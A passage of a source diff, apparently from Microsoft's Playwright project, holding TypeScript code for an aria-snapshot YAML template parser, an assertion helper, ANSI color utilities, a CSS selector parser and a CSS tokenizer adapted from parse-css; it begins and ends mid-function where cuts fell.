if (itemIsMap) {
convertMap(container, item);
continue;
}
errors.push({
message: 'Sequence items should be strings or maps',
range: convertRange((item as any).range || seq.range),
});
}
};
const convertMap = (container: AriaTemplateRoleNode, map: yamlTypes.YAMLMap) => {
for (const entry of map.items) {
container.children = container.children || [];
// Key must by a string
const keyIsString = entry.key instanceof yaml.Scalar && typeof entry.key.value === 'string';
if (!keyIsString) {
errors.push({
message: 'Only string keys are supported',
range: convertRange((entry.key as any).range || map.range),
});
continue;
}
const key: yamlTypes.Scalar<string> = entry.key as yamlTypes.Scalar<string>;
const value = entry.value;
// - text: "text"
if (key.value === 'text') {
const valueIsString = value instanceof yaml.Scalar && typeof value.value === 'string';
if (!valueIsString) {
errors.push({
message: 'Text value should be a string',
range: convertRange(((entry.value as any).range || map.range)),
});
continue;
}
container.children.push({
kind: 'text',
text: textValue(value.value)
});
continue;
}
// - /children: equal
if (key.value === '/children') {
const valueIsString = value instanceof yaml.Scalar && typeof value.value === 'string';
if (!valueIsString || (value.value !== 'contain' && value.value !== 'equal' && value.value !== 'deep-equal')) {
errors.push({
message: 'Strict value should be "contain", "equal" or "deep-equal"',
range: convertRange(((entry.value as any).range || map.range)),
});
continue;
}
container.containerMode = value.value;
continue;
}
// - /url: "about:blank"
if (key.value.startsWith('/')) {
const valueIsString = value instanceof yaml.Scalar && typeof value.value === 'string';
if (!valueIsString) {
errors.push({
message: 'Property value should be a string',
range: convertRange(((entry.value as any).range || map.range)),
});
continue;
}
container.props = container.props ?? {};
container.props[key.value.slice(1)] = textValue(value.value);
continue;
}
// role "name": ...
const childNode = KeyParser.parse(key, parseOptions, errors);
if (!childNode)
continue;
// - role "name": "text"
const valueIsScalar = value instanceof yaml.Scalar;
if (valueIsScalar) {
const type = typeof value.value;
if (type !== 'string' && type !== 'number' && type !== 'boolean') {
errors.push({
message: 'Node value should be a string or a sequence',
range: convertRange(((entry.value as any).range || map.range)),
});
continue;
}
container.children.push({
...childNode,
children: [{
kind: 'text',
text: textValue(String(value.value))
}]
});
continue;
}
// - role "name":
// - child
const valueIsSequence = value instanceof yaml.YAMLSeq;
if (valueIsSequence) {
container.children.push(childNode);
convertSeq(childNode, value as yamlTypes.YAMLSeq);
continue;
}
errors.push({
message: 'Map values should be strings or sequences',
range: convertRange((entry.value as any).range || map.range),
});
}
};
const fragment: AriaTemplateNode = { kind: 'role', role: 'fragment' };
yamlDoc.errors.forEach(addError);
if (errors.length)
return { errors, fragment };
if (!(yamlDoc.contents instanceof yaml.YAMLSeq)) {
errors.push({
message: 'Aria snapshot must be a YAML sequence, elements starting with " -"',
range: yamlDoc.contents ? convertRange(yamlDoc.contents!.range) : [{ line: 0, col: 0 }, { line: 0, col: 0 }],
});
}
if (errors.length)
return { errors, fragment };
convertSeq(fragment, yamlDoc.contents as yamlTypes.YAMLSeq);
if (errors.length)
return { errors, fragment: emptyFragment };
// `- button` should target the button, not its parent.
if (fragment.children?.length === 1 && (!fragment.containerMode || fragment.containerMode === 'contain'))
return { fragment: fragment.children[0], errors: [] };
return { fragment, errors: [] };
}
const emptyFragment: AriaTemplateRoleNode = { kind: 'role', role: 'fragment' };
function normalizeWhitespace(text: string) {
// TODO: why is this different from normalizeWhitespace in stringUtils.ts?
return text.replace(/[\u200b\u00ad]/g, '').replace(/[\r\n\s\t]+/g, ' ').trim();
}
export function textValue(value: string): AriaTextValue {
return {
raw: value,
normalized: normalizeWhitespace(value),
};
}
export class KeyParser {
private _input: string;
private _pos: number;
private _length: number;
static parse(text: yamlTypes.Scalar<string>, options: ParsingOptions, errors: ParsedYamlError[]): AriaTemplateRoleNode | null {
try {
return new KeyParser(text.value)._parse();
} catch (e) {
if (e instanceof ParserError) {
const message = options.prettyErrors === false ? e.message : e.message + ':\n\n' + text.value + '\n' + ' '.repeat(e.pos) + '^\n';
errors.push({
message,
range: [options.lineCounter!.linePos(text.range![0]), options.lineCounter!.linePos(text.range![0] + e.pos)],
});
return null;
}
throw e;
}
}
constructor(input: string) {
this._input = input;
this._pos = 0;
this._length = input.length;
}
private _peek() {
return this._input[this._pos] || '';
}
private _next() {
if (this._pos < this._length)
return this._input[this._pos++];
return null;
}
private _eof() {
return this._pos >= this._length;
}
private _isWhitespace() {
return !this._eof() && /\s/.test(this._peek());
}
private _skipWhitespace() {
while (this._isWhitespace())
this._pos++;
}
private _readIdentifier(type: 'role' | 'attribute'): string {
if (this._eof())
this._throwError(`Unexpected end of input when expecting ${type}`);
const start = this._pos;
while (!this._eof() && /[a-zA-Z]/.test(this._peek()))
this._pos++;
return this._input.slice(start, this._pos);
}
private _readString(): string {
let result = '';
let escaped = false;
while (!this._eof()) {
const ch = this._next();
if (escaped) {
result += ch;
escaped = false;
} else if (ch === '\\') {
escaped = true;
} else if (ch === '"') {
return result;
} else {
result += ch;
}
}
this._throwError('Unterminated string');
}
private _throwError(message: string, offset: number = 0): never {
throw new ParserError(message, offset || this._pos);
}
private _readRegex(): AriaRegex {
let result = '';
let escaped = false;
let insideClass = false;
while (!this._eof()) {
const ch = this._next();
if (escaped) {
result += ch;
escaped = false;
} else if (ch === '\\') {
escaped = true;
result += ch;
} else if (ch === '/' && !insideClass) {
return { pattern: result };
} else if (ch === '[') {
insideClass = true;
result += ch;
} else if (ch === ']' && insideClass) {
result += ch;
insideClass = false;
} else {
result += ch;
}
}
this._throwError('Unterminated regex');
}
private _readStringOrRegex(): string | AriaRegex | null {
const ch = this._peek();
if (ch === '"') {
this._next();
return normalizeWhitespace(this._readString());
}
if (ch === '/') {
this._next();
return this._readRegex();
}
return null;
}
private _readAttributes(result: AriaTemplateRoleNode) {
let errorPos = this._pos;
while (true) {
this._skipWhitespace();
if (this._peek() === '[') {
this._next();
this._skipWhitespace();
errorPos = this._pos;
const flagName = this._readIdentifier('attribute');
this._skipWhitespace();
let flagValue = '';
if (this._peek() === '=') {
this._next();
this._skipWhitespace();
errorPos = this._pos;
while (this._peek() !== ']' && !this._isWhitespace() && !this._eof())
flagValue += this._next();
}
this._skipWhitespace();
if (this._peek() !== ']')
this._throwError('Expected ]');
this._next(); // Consume ']'
this._applyAttribute(result, flagName, flagValue || 'true', errorPos);
} else {
break;
}
}
}
_parse(): AriaTemplateRoleNode {
this._skipWhitespace();
const role = this._readIdentifier('role') as AriaTemplateRoleNode['role'];
this._skipWhitespace();
const name = this._readStringOrRegex() || '';
const result: AriaTemplateRoleNode = { kind: 'role', role, name };
this._readAttributes(result);
this._skipWhitespace();
if (!this._eof())
this._throwError('Unexpected input');
return result;
}
private _applyAttribute(node: AriaTemplateRoleNode, key: string, value: string, errorPos: number) {
if (key === 'checked') {
this._assert(value === 'true' || value === 'false' || value === 'mixed', 'Value of "checked\" attribute must be a boolean or "mixed"', errorPos);
node.checked = value === 'true' ? true : value === 'false' ? false : 'mixed';
return;
}
if (key === 'disabled') {
this._assert(value === 'true' || value === 'false', 'Value of "disabled" attribute must be a boolean', errorPos);
node.disabled = value === 'true';
return;
}
if (key === 'expanded') {
this._assert(value === 'true' || value === 'false', 'Value of "expanded" attribute must be a boolean', errorPos);
node.expanded = value === 'true';
return;
}
if (key === 'active') {
this._assert(value === 'true' || value === 'false', 'Value of "active" attribute must be a boolean', errorPos);
node.active = value === 'true';
return;
}
if (key === 'level') {
this._assert(!isNaN(Number(value)), 'Value of "level" attribute must be a number', errorPos);
node.level = Number(value);
return;
}
if (key === 'pressed') {
this._assert(value === 'true' || value === 'false' || value === 'mixed', 'Value of "pressed" attribute must be a boolean or "mixed"', errorPos);
node.pressed = value === 'true' ? true : value === 'false' ? false : 'mixed';
return;
}
if (key === 'selected') {
this._assert(value === 'true' || value === 'false', 'Value of "selected" attribute must be a boolean', errorPos);
node.selected = value === 'true';
return;
}
this._assert(false, `Unsupported attribute [${key}]`, errorPos);
}
private _assert(value: any, message: string, valuePos: number): asserts value {
if (!value)
this._throwError(message || 'Assertion error', valuePos);
}
}
export class ParserError extends Error {
readonly pos: number;
constructor(message: string, pos: number) {
super(message);
this.pos = pos;
}
}
export function findNewNode(from: AriaNode | undefined, to: AriaNode): AriaNode | undefined {
type ByRoleAndName = Map<string, Map<string, { node: AriaNode, sizeAndPosition: number }>>;
function fillMap(root: AriaNode, map: ByRoleAndName, position: number) {
let size = 1;
let childPosition = position + size;
for (const child of root.children || []) {
if (typeof child === 'string') {
size++;
childPosition++;
} else {
size += fillMap(child, map, childPosition);
childPosition += size;
}
}
if (!['none', 'presentation', 'fragment', 'iframe', 'generic'].includes(root.role) && root.name) {
let byRole = map.get(root.role);
if (!byRole) {
byRole = new Map();
map.set(root.role, byRole);
}
const existing = byRole.get(root.name);
// This heuristic prioritizes elements at the top of the page, even if somewhat smaller.
const sizeAndPosition = size * 100 - position;
if (!existing || existing.sizeAndPosition < sizeAndPosition)
byRole.set(root.name, { node: root, sizeAndPosition });
}
return size;
}
const fromMap: ByRoleAndName = new Map();
if (from)
fillMap(from, fromMap, 0);
const toMap: ByRoleAndName = new Map();
fillMap(to, toMap, 0);
const result: { node: AriaNode, sizeAndPosition: number }[] = [];
for (const [role, byRole] of toMap) {
for (const [name, byName] of byRole) {
const inFrom = fromMap.get(role)?.get(name);
if (!inFrom)
result.push(byName);
}
}
result.sort((a, b) => b.sizeAndPosition - a.sizeAndPosition);
return result[0]?.node;
}
@@ -0,0 +1,20 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export function assert(value: any, message?: string): asserts value {
if (!value)
throw new Error(message || 'Assertion error');
}
@@ -0,0 +1,66 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export const webColors = {
enabled: true,
reset: (text: string) => applyStyle(0, 0, text),
bold: (text: string) => applyStyle(1, 22, text),
dim: (text: string) => applyStyle(2, 22, text),
italic: (text: string) => applyStyle(3, 23, text),
underline: (text: string) => applyStyle(4, 24, text),
inverse: (text: string) => applyStyle(7, 27, text),
hidden: (text: string) => applyStyle(8, 28, text),
strikethrough: (text: string) => applyStyle(9, 29, text),
black: (text: string) => applyStyle(30, 39, text),
red: (text: string) => applyStyle(31, 39, text),
green: (text: string) => applyStyle(32, 39, text),
yellow: (text: string) => applyStyle(33, 39, text),
blue: (text: string) => applyStyle(34, 39, text),
magenta: (text: string) => applyStyle(35, 39, text),
cyan: (text: string) => applyStyle(36, 39, text),
white: (text: string) => applyStyle(37, 39, text),
gray: (text: string) => applyStyle(90, 39, text),
grey: (text: string) => applyStyle(90, 39, text),
};
export type Colors = typeof webColors;
export const noColors: Colors = {
enabled: false,
reset: t => t,
bold: t => t,
dim: t => t,
italic: t => t,
underline: t => t,
inverse: t => t,
hidden: t => t,
strikethrough: t => t,
black: t => t,
red: t => t,
green: t => t,
yellow: t => t,
blue: t => t,
magenta: t => t,
cyan: t => t,
white: t => t,
gray: t => t,
grey: t => t,
};
const applyStyle = (open: number, close: number, text: string) => `\u001b[${open}m${text}\u001b[${close}m`;
@@ -0,0 +1,267 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import * as css from './cssTokenizer';
export class InvalidSelectorError extends Error {
}
export function isInvalidSelectorError(error: Error) {
return error instanceof InvalidSelectorError;
}
// Note: '>=' is used internally for text engine to preserve backwards compatibility.
type ClauseCombinator = '' | '>' | '+' | '~' | '>=';
// TODO: consider
// - key=value
// - operators like `=`, `|=`, `~=`, `*=`, `/`
// - <empty>~=value
// - argument modes: "parse all", "parse commas", "just a string"
export type CSSFunctionArgument = CSSComplexSelector | number | string;
export type CSSFunction = { name: string, args: CSSFunctionArgument[] };
export type CSSSimpleSelector = { css?: string, functions: CSSFunction[] };
export type CSSComplexSelector = { simples: { selector: CSSSimpleSelector, combinator: ClauseCombinator }[] };
export type CSSComplexSelectorList = CSSComplexSelector[];
export function parseCSS(selector: string, customNames: Set<string>): { selector: CSSComplexSelectorList, names: string[] } {
let tokens: css.CSSTokenInterface[];
try {
tokens = css.tokenize(selector);
if (!(tokens[tokens.length - 1] instanceof css.EOFToken))
tokens.push(new css.EOFToken());
} catch (e) {
const newMessage = e.message + ` while parsing css selector "${selector}". Did you mean to CSS.escape it?`;
const index = (e.stack || '').indexOf(e.message);
if (index !== -1)
e.stack = e.stack.substring(0, index) + newMessage + e.stack.substring(index + e.message.length);
e.message = newMessage;
throw e;
}
const unsupportedToken = tokens.find(token => {
return (token instanceof css.AtKeywordToken) ||
(token instanceof css.BadStringToken) ||
(token instanceof css.BadURLToken) ||
(token instanceof css.ColumnToken) ||
(token instanceof css.CDOToken) ||
(token instanceof css.CDCToken) ||
(token instanceof css.SemicolonToken) ||
// TODO: Consider using these for something, e.g. to escape complex strings.
// For example :xpath{ (//div/bar[@attr="foo"])[2]/baz }
// Or this way :xpath( {complex-xpath-goes-here("hello")} )
(token instanceof css.OpenCurlyToken) ||
(token instanceof css.CloseCurlyToken) ||
// TODO: Consider treating these as strings?
(token instanceof css.URLToken) ||
(token instanceof css.PercentageToken);
});
if (unsupportedToken)
throw new InvalidSelectorError(`Unsupported token "${unsupportedToken.toSource()}" while parsing css selector "${selector}". Did you mean to CSS.escape it?`);
let pos = 0;
const names = new Set<string>();
function unexpected() {
return new InvalidSelectorError(`Unexpected token "${tokens[pos].toSource()}" while parsing css selector "${selector}". Did you mean to CSS.escape it?`);
}
function skipWhitespace() {
while (tokens[pos] instanceof css.WhitespaceToken)
pos++;
}
function isIdent(p = pos) {
return tokens[p] instanceof css.IdentToken;
}
function isString(p = pos) {
return tokens[p] instanceof css.StringToken;
}
function isNumber(p = pos) {
return tokens[p] instanceof css.NumberToken;
}
function isComma(p = pos) {
return tokens[p] instanceof css.CommaToken;
}
function isOpenParen(p = pos) {
return tokens[p] instanceof css.OpenParenToken;
}
function isCloseParen(p = pos) {
return tokens[p] instanceof css.CloseParenToken;
}
function isFunction(p = pos) {
return tokens[p] instanceof css.FunctionToken;
}
function isStar(p = pos) {
return (tokens[p] instanceof css.DelimToken) && tokens[p].value === '*';
}
function isEOF(p = pos) {
return tokens[p] instanceof css.EOFToken;
}
function isClauseCombinator(p = pos) {
return (tokens[p] instanceof css.DelimToken) && (['>', '+', '~'].includes(tokens[p].value as string));
}
function isSelectorClauseEnd(p = pos) {
return isComma(p) || isCloseParen(p) || isEOF(p) || isClauseCombinator(p) || (tokens[p] instanceof css.WhitespaceToken);
}
function consumeFunctionArguments(): CSSFunctionArgument[] {
const result = [consumeArgument()];
while (true) {
skipWhitespace();
if (!isComma())
break;
pos++;
result.push(consumeArgument());
}
return result;
}
function consumeArgument(): CSSFunctionArgument {
skipWhitespace();
if (isNumber())
return tokens[pos++].value!;
if (isString())
return tokens[pos++].value!;
return consumeComplexSelector();
}
function consumeComplexSelector(): CSSComplexSelector {
const result: CSSComplexSelector = { simples: [] };
skipWhitespace();
if (isClauseCombinator()) {
// Put implicit ":scope" at the start. https://drafts.csswg.org/selectors-4/#relative
result.simples.push({ selector: { functions: [{ name: 'scope', args: [] }] }, combinator: '' });
} else {
result.simples.push({ selector: consumeSimpleSelector(), combinator: '' });
}
while (true) {
skipWhitespace();
if (isClauseCombinator()) {
result.simples[result.simples.length - 1].combinator = tokens[pos++].value as ClauseCombinator;
skipWhitespace();
} else if (isSelectorClauseEnd()) {
break;
}
result.simples.push({ combinator: '', selector: consumeSimpleSelector() });
}
return result;
}
function consumeSimpleSelector(): CSSSimpleSelector {
let rawCSSString = '';
const functions: CSSFunction[] = [];
while (!isSelectorClauseEnd()) {
if (isIdent() || isStar()) {
rawCSSString += tokens[pos++].toSource();
} else if (tokens[pos] instanceof css.HashToken) {
rawCSSString += tokens[pos++].toSource();
} else if ((tokens[pos] instanceof css.DelimToken) && tokens[pos].value === '.') {
pos++;
if (isIdent())
rawCSSString += '.' + tokens[pos++].toSource();
else
throw unexpected();
} else if (tokens[pos] instanceof css.ColonToken) {
pos++;
if (isIdent()) {
if (!customNames.has((tokens[pos].value as string).toLowerCase())) {
rawCSSString += ':' + tokens[pos++].toSource();
} else {
const name = (tokens[pos++].value as string).toLowerCase();
functions.push({ name, args: [] });
names.add(name);
}
} else if (isFunction()) {
const name = (tokens[pos++].value as string).toLowerCase();
if (!customNames.has(name)) {
rawCSSString += `:${name}(${consumeBuiltinFunctionArguments()})`;
} else {
functions.push({ name, args: consumeFunctionArguments() });
names.add(name);
}
skipWhitespace();
if (!isCloseParen())
throw unexpected();
pos++;
} else {
throw unexpected();
}
} else if (tokens[pos] instanceof css.OpenSquareToken) {
rawCSSString += '[';
pos++;
while (!(tokens[pos] instanceof css.CloseSquareToken) && !isEOF())
rawCSSString += tokens[pos++].toSource();
if (!(tokens[pos] instanceof css.CloseSquareToken))
throw unexpected();
rawCSSString += ']';
pos++;
} else {
throw unexpected();
}
}
if (!rawCSSString && !functions.length)
throw unexpected();
return { css: rawCSSString || undefined, functions };
}
function consumeBuiltinFunctionArguments(): string {
let s = '';
let balance = 1; // First open paren is a part of a function token.
while (!isEOF()) {
if (isOpenParen() || isFunction())
balance++;
if (isCloseParen())
balance--;
if (!balance)
break;
s += tokens[pos++].toSource();
}
return s;
}
const result = consumeFunctionArguments();
if (!isEOF())
throw unexpected();
if (result.some(arg => typeof arg !== 'object' || !('simples' in arg)))
throw new InvalidSelectorError(`Error while parsing css selector "${selector}". Did you mean to CSS.escape it?`);
return { selector: result as CSSComplexSelector[], names: Array.from(names) };
}
export function serializeSelector(args: CSSFunctionArgument[]) {
return args.map(arg => {
if (typeof arg === 'string')
return `"${arg}"`;
if (typeof arg === 'number')
return String(arg);
return arg.simples.map(({ selector, combinator }) => {
let s = selector.css || '';
s = s + selector.functions.map(func => `:${func.name}(${serializeSelector(func.args)})`).join('');
if (combinator)
s += ' ' + combinator;
return s;
}).join(' ');
}).join(', ');
}
@@ -0,0 +1,966 @@
/* eslint-disable notice/notice */
/*
* The code in this file is licensed under the CC0 license.
* http://creativecommons.org/publicdomain/zero/1.0/
* It is free to use for any purpose. No attribution, permission, or reproduction of this license is required.
*/
// Original at https://github.com/tabatkins/parse-css
// Changes:
// - JS is replaced with TS.
// - Universal Module Definition wrapper is removed.
// - Everything not related to tokenizing - below the first exports block - is removed.
export interface CSSTokenInterface {
toSource(): string;
value: string | number | undefined;
}
const between = function(num: number, first: number, last: number) { return num >= first && num <= last; };
function digit(code: number) { return between(code, 0x30, 0x39); }
function hexdigit(code: number) { return digit(code) || between(code, 0x41, 0x46) || between(code, 0x61, 0x66); }
function uppercaseletter(code: number) { return between(code, 0x41, 0x5a); }
function lowercaseletter(code: number) { return between(code, 0x61, 0x7a); }
function letter(code: number) { return uppercaseletter(code) || lowercaseletter(code); }
function nonascii(code: number) { return code >= 0x80; }
function namestartchar(code: number) { return letter(code) || nonascii(code) || code === 0x5f; }
function namechar(code: number) { return namestartchar(code) || digit(code) || code === 0x2d; }
function nonprintable(code: number) { return between(code, 0, 8) || code === 0xb || between(code, 0xe, 0x1f) || code === 0x7f; }
function newline(code: number) { return code === 0xa; }
function whitespace(code: number) { return newline(code) || code === 9 || code === 0x20; }
const maximumallowedcodepoint = 0x10ffff;
export class InvalidCharacterError extends Error {
constructor(message: string) {
super(message);
this.name = 'InvalidCharacterError';
}
}
function preprocess(str: string): number[] {
// Turn a string into an array of code points,
// following the preprocessing cleanup rules.
const codepoints = [];
for (let i = 0; i < str.length; i++) {
let code = str.charCodeAt(i);
if (code === 0xd && str.charCodeAt(i + 1) === 0xa) {
code = 0xa; i++;
}
if (code === 0xd || code === 0xc)
code = 0xa;
if (code === 0x0)
code = 0xfffd;
if (between(code, 0xd800, 0xdbff) && between(str.charCodeAt(i + 1), 0xdc00, 0xdfff)) {
// Decode a surrogate pair into an astral codepoint.
const lead = code - 0xd800;
const trail = str.charCodeAt(i + 1) - 0xdc00;
code = Math.pow(2, 16) + lead * Math.pow(2, 10) + trail;
i++;
}
codepoints.push(code);
}
return codepoints;
}
function stringFromCode(code: number) {
if (code <= 0xffff)
return String.fromCharCode(code);
// Otherwise, encode astral char as surrogate pair.
code -= Math.pow(2, 16);
const lead = Math.floor(code / Math.pow(2, 10)) + 0xd800;
const trail = code % Math.pow(2, 10) + 0xdc00;
return String.fromCharCode(lead) + String.fromCharCode(trail);
}
export function tokenize(str1: string): CSSTokenInterface[] {
const str = preprocess(str1);
let i = -1;
const tokens: CSSTokenInterface[] = [];
let code: number;
// Line number information.
let line = 0;
let column = 0;
// The only use of lastLineLength is in reconsume().
let lastLineLength = 0;
const incrLineno = function() {
line += 1;
lastLineLength = column;
column = 0;
};
const locStart = { line: line, column: column };
const codepoint = function(i: number): number {
if (i >= str.length)
return -1;
return str[i];
};
const next = function(num?: number) {
if (num === undefined)
num = 1;
if (num > 3)
throw 'Spec Error: no more than three codepoints of lookahead.';
return codepoint(i + num);
};
const consume = function(num?: number): boolean {
if (num === undefined)
num = 1;
i += num;
code = codepoint(i);
if (newline(code))
incrLineno();
else
column += num;
// console.log('Consume '+i+' '+String.fromCharCode(code) + ' 0x' + code.toString(16));
return true;
};
const reconsume = function() {
i -= 1;
if (newline(code)) {
line -= 1;
column = lastLineLength;
} else {
column -= 1;
}
locStart.line = line;
locStart.column = column;
return true;
};
const eof = function(codepoint?: number): boolean {
if (codepoint === undefined)
codepoint = code;
return codepoint === -1;
};
const donothing = function() { };
const parseerror = function() {
// Language bindings don't like writing to stdout!
// console.log('Parse error at index ' + i + ', processing codepoint 0x' + code.toString(16) + '.'); return true;
};
const consumeAToken = function(): CSSTokenInterface {
consumeComments();
consume();
if (whitespace(code)) {
while (whitespace(next()))
consume();
return new WhitespaceToken();
} else if (code === 0x22) {return consumeAStringToken();} else if (code === 0x23) {
if (namechar(next()) || areAValidEscape(next(1), next(2))) {
const token = new HashToken('');
if (wouldStartAnIdentifier(next(1), next(2), next(3)))
token.type = 'id';
token.value = consumeAName();
return token;
} else {
return new DelimToken(code);
}
} else if (code === 0x24) {
if (next() === 0x3d) {
consume();
return new SuffixMatchToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x27) {return consumeAStringToken();} else if (code === 0x28) {return new OpenParenToken();} else if (code === 0x29) {return new CloseParenToken();} else if (code === 0x2a) {
if (next() === 0x3d) {
consume();
return new SubstringMatchToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x2b) {
if (startsWithANumber()) {
reconsume();
return consumeANumericToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x2c) {return new CommaToken();} else if (code === 0x2d) {
if (startsWithANumber()) {
reconsume();
return consumeANumericToken();
} else if (next(1) === 0x2d && next(2) === 0x3e) {
consume(2);
return new CDCToken();
} else if (startsWithAnIdentifier()) {
reconsume();
return consumeAnIdentlikeToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x2e) {
if (startsWithANumber()) {
reconsume();
return consumeANumericToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x3a) {return new ColonToken();} else if (code === 0x3b) {return new SemicolonToken();} else if (code === 0x3c) {
if (next(1) === 0x21 && next(2) === 0x2d && next(3) === 0x2d) {
consume(3);
return new CDOToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x40) {
if (wouldStartAnIdentifier(next(1), next(2), next(3)))
return new AtKeywordToken(consumeAName());
else
return new DelimToken(code);
} else if (code === 0x5b) {return new OpenSquareToken();} else if (code === 0x5c) {
if (startsWithAValidEscape()) {
reconsume();
return consumeAnIdentlikeToken();
} else {
parseerror();
return new DelimToken(code);
}
} else if (code === 0x5d) {return new CloseSquareToken();} else if (code === 0x5e) {
if (next() === 0x3d) {
consume();
return new PrefixMatchToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x7b) {return new OpenCurlyToken();} else if (code === 0x7c) {
if (next() === 0x3d) {
consume();
return new DashMatchToken();
} else if (next() === 0x7c) {
consume();
return new ColumnToken();
} else {
return new DelimToken(code);
}
} else if (code === 0x7d) {return new CloseCurlyToken();} else if (code === 0x7e) {
if (next() === 0x3d) {
consume();
return new IncludeMatchToken();
} else {
return new DelimToken(code);
}
} else if (digit(code)) {
reconsume();
return consumeANumericToken();
} else if (namestartchar(code)) {
reconsume();
return consumeAnIdentlikeToken();
} else if (eof()) {return new EOFToken();} else {return new DelimToken(code);}
};
const consumeComments = function() {
while (next(1) === 0x2f && next(2) === 0x2a) {
consume(2);
while (true) {
consume();
if (code === 0x2a && next() === 0x2f) {
consume();
break;
} else if (eof()) {
parseerror();
return;
}
}
}
};
const consumeANumericToken = function() {
const num = consumeANumber();
if (wouldStartAnIdentifier(next(1), next(2), next(3))) {
const token = new DimensionToken();
token.value = num.value;
token.repr = num.repr;
token.type = num.type;
token.unit = consumeAName();
return token;
} else if (next() === 0x25) {
consume();
const token = new PercentageToken();
token.value = num.value;
token.repr = num.repr;
return token;
} else {
const token = new NumberToken();
token.value = num.value;
token.repr = num.repr;
token.type = num.type;
return token;
}
};
const consumeAnIdentlikeToken = function(): CSSTokenInterface {
const str = consumeAName();
if (str.toLowerCase() === 'url' && next() === 0x28) {
consume();
while (whitespace(next(1)) && whitespace(next(2)))
consume();
if (next() === 0x22 || next() === 0x27)
return new FunctionToken(str);
else if (whitespace(next()) && (next(2) === 0x22 || next(2) === 0x27))
return new FunctionToken(str);
else
return consumeAURLToken();
} else if (next() === 0x28) {
consume();
return new FunctionToken(str);
} else {
return new IdentToken(str);
}
};
const consumeAStringToken = function(endingCodePoint?: number): CSSParserToken {
if (endingCodePoint === undefined)
endingCodePoint = code;
let string = '';
while (consume()) {
if (code === endingCodePoint || eof()) {
return new StringToken(string);
} else if (newline(code)) {
parseerror();
reconsume();
return new BadStringToken();
} else if (code === 0x5c) {
if (eof(next()))
donothing();
else if (newline(next()))
consume();
else
string += stringFromCode(consumeEscape());
} else {
string += stringFromCode(code);
}
}
throw new Error('Internal error');
};
const consumeAURLToken = function(): CSSTokenInterface {
const token = new URLToken('');
while (whitespace(next()))
consume();
if (eof(next()))
return token;
while (consume()) {
if (code === 0x29 || eof()) {
return token;
} else if (whitespace(code)) {
while (whitespace(next()))
consume();
if (next() === 0x29 || eof(next())) {
consume();
return token;
} else {
consumeTheRemnantsOfABadURL();
return new BadURLToken();
}
} else if (code === 0x22 || code === 0x27 || code === 0x28 || nonprintable(code)) {
parseerror();
consumeTheRemnantsOfABadURL();
return new BadURLToken();
} else if (code === 0x5c) {
if (startsWithAValidEscape()) {
token.value += stringFromCode(consumeEscape());
} else {
parseerror();
consumeTheRemnantsOfABadURL();
return new BadURLToken();
}
} else {
token.value += stringFromCode(code);
}
}
throw new Error('Internal error');
};
const consumeEscape = function() {
// Assume the current character is the \
// and the next code point is not a newline.
consume();
if (hexdigit(code)) {
// Consume 1-6 hex digits
const digits = [code];
for (let total = 0; total < 5; total++) {
if (hexdigit(next())) {
consume();
digits.push(code);
} else {
break;
}
}
if (whitespace(next()))
consume();
let value = parseInt(digits.map(function(x) { return String.fromCharCode(x); }).join(''), 16);
if (value > maximumallowedcodepoint)
value = 0xfffd;
return value;
} else if (eof()) {
return 0xfffd;
} else {
return code;
}
};
const areAValidEscape = function(c1: number, c2: number) {
if (c1 !== 0x5c)
return false;
if (newline(c2))
return false;
return true;
};
const startsWithAValidEscape = function() {
return areAValidEscape(code, next());
};
const wouldStartAnIdentifier = function(c1: number, c2: number, c3: number) {
if (c1 === 0x2d)
return namestartchar(c2) || c2 === 0x2d || areAValidEscape(c2, c3);
else if (namestartchar(c1))
return true;
else if (c1 === 0x5c)
return areAValidEscape(c1, c2);
else
return false;
};
const startsWithAnIdentifier = function() {
return wouldStartAnIdentifier(code, next(1), next(2));
};
const wouldStartANumber = function(c1: number, c2: number, c3: number) {
if (c1 === 0x2b || c1 === 0x2d) {
if (digit(c2))
return true;
if (c2 === 0x2e && digit(c3))
return true;
return false;
} else if (c1 === 0x2e) {
if (digit(c2))
return true;
return false;
} else if (digit(c1)) {
return true;
} else {
return false;
}
};
const startsWithANumber = function() {
return wouldStartANumber(code, next(1), next(2));
};
const consumeAName = function(): string {
let result = '';
while (consume()) {
if (namechar(code)) {
result += stringFromCode(code);
} else if (startsWithAValidEscape()) {
result += stringFromCode(consumeEscape());
} else {
reconsume();
return result;
}
}
throw new Error('Internal parse error');
};
const consumeANumber = function() {
let repr = '';
let type = 'integer';
if (next() === 0x2b || next() === 0x2d) {
consume();
repr += stringFromCode(code);
}
while (digit(next())) {
consume();
repr += stringFromCode(code);
}
if (next(1) === 0x2e && digit(next(2))) {
consume();
repr += stringFromCode(code);
consume();
repr += stringFromCode(code);
type = 'number';
while (digit(next())) {
consume();
repr += stringFromCode(code);
}
}
const c1 = next(1), c2 = next(2), c3 = next(3);
if ((c1 === 0x45 || c1 === 0x65) && digit(c2)) {
consume();
repr += stringFromCode(code);
consume();
repr += stringFromCode(code);
type = 'number';
